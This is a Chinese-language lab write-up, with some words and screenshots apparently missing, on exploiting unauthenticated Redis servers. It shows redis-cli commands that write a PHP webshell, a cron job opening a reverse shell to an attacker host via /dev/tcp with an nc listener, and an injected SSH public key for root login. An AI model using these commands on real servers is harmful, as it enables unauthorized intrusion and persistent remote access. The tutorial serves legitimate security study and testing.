在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
漏洞原理Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 利用条件
漏洞危害
漏洞复现搭建测试环境受害机Ubuntu 20.04
$ wget http://download.redis.io/releases/redis-3.2.11.tar.gz $ tar -zxvf redis-3.2.11.tar.gz $ cd redis-3.2.11 $ make
4.编译完成后,进入src目录下,复制 $ cd src $ sudo cp redis-cli redis-server /usr/bin/ 5.回到 $ cd .. $ sudo cp redis.conf /etc/ 使用
然后将80行的
使用 打开一个新的终端,在窗口使用 使用 $ sudo service ssh start 攻击机Kali 2021.1只要能连上redis即可,需要有 利用redis写入webshell利用条件
利用过程 测试使用Kali连接Ubuntu的redis服务: $ redis-cli -h 192.168.101.6 如果成功连接上受害机,说明受害机存在redis未授权访问漏洞。 redis可以写入文件。使用
因为web服务无法访问到 然后使用redis写入文件: $ config set dbfilename shell.php $ set xxx "<?php phpinfo(); ?>" $ save 然而并不能写入文件,结果如下:
具体原因是因为redis对web根目录没有写入权限,这是一个比较重要的点,也是能否利用未授权访问来getshell的因素之一。为了测试,此时需要手动在受害机网站根目录中,新建一个其他用户具有可写入权限的文件夹,然后再将redis保存文件的dir值修改为新建文件夹的路径:
成功写入文件后可以在受害机中进行查看: 现在在浏览器中访问这个页面试试: 从上面的访问结果可以看出我们写入的php代码已经成功执行并返回。再次写入文件,将一句话木马写入到目录中: 访问webshell页面: 使用蚁剑连接webshell: 利用redis反弹shell原理:在攻击机上开启nc反弹端口监听,通过redis未授权访问漏洞,写入Linux定时计划,反弹shell。 利用条件对 利用过程首先在攻击机监听一个端口: $ nc -lvnp 6666 在攻击机开启新的命令行窗口,连接受害机的redis服务,然后执行下面的命令: $ set x "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.101.8/6666 0>&1\n\n\n" $ config set dir /var/spool/cron/ $ config set dbfilename root $ save 注意此处的计划任务命令,如果在Ubuntu中,是无法反弹shell的,原因是因为ubuntu会将redis写入的缓存乱码当作命令来解释,导致执行不成功。而centos不会对乱码进行解释,可以成功执行反弹shell的命令。 可以在受害机查看文件是否保存成功: 但是在ubuntu下无法反弹shell,这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败,因为自己如果不使用redis写任务计划文件,而是正常向 利用redis写入ssh公钥利用条件受害机必须有 直接使用 另一个条件就是需要知道家目录的名称,比如上面的 利用过程首先在攻击机生成ssh公钥,用于连接受害机时来使用私钥验证登陆: $ ssh-keygen 将公钥开头和结尾添加两行换行,并存储为新的文本文件,用于redis在连接时写入的内容。添加两个换行的原因是对redis缓存垃圾数据和公钥的内容分隔开来,以免ssh连接失败。可以使用bash命令来完成这个操作: (echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > key.txt 使用攻击机连接受害机时写入变量 cat key.txt | redis-cli -h 192.168.101.6 -x set x 使用攻击机连接受害机redis,将写入的文件路径设置为 注意 然后在受害机文件中查看一下: 在攻击机尝试使用本地私钥对受害机进行连接: $ ssh [email protected] -i ~/.ssh/id_rsa 总结Redis在实战中算是比较常用的端口利用了。除了反弹shell的方法在测试的时候没有实现getshell以外,还有一种主从复制的方式,后面有空补上。 到此这篇关于Redis未授权访问的文章就介绍到这了,更多相关Redis未授权访问内容请搜索极客世界以前的文章或继续浏览下面的相关文章希望大家以后多多支持极客世界! |
请发表评论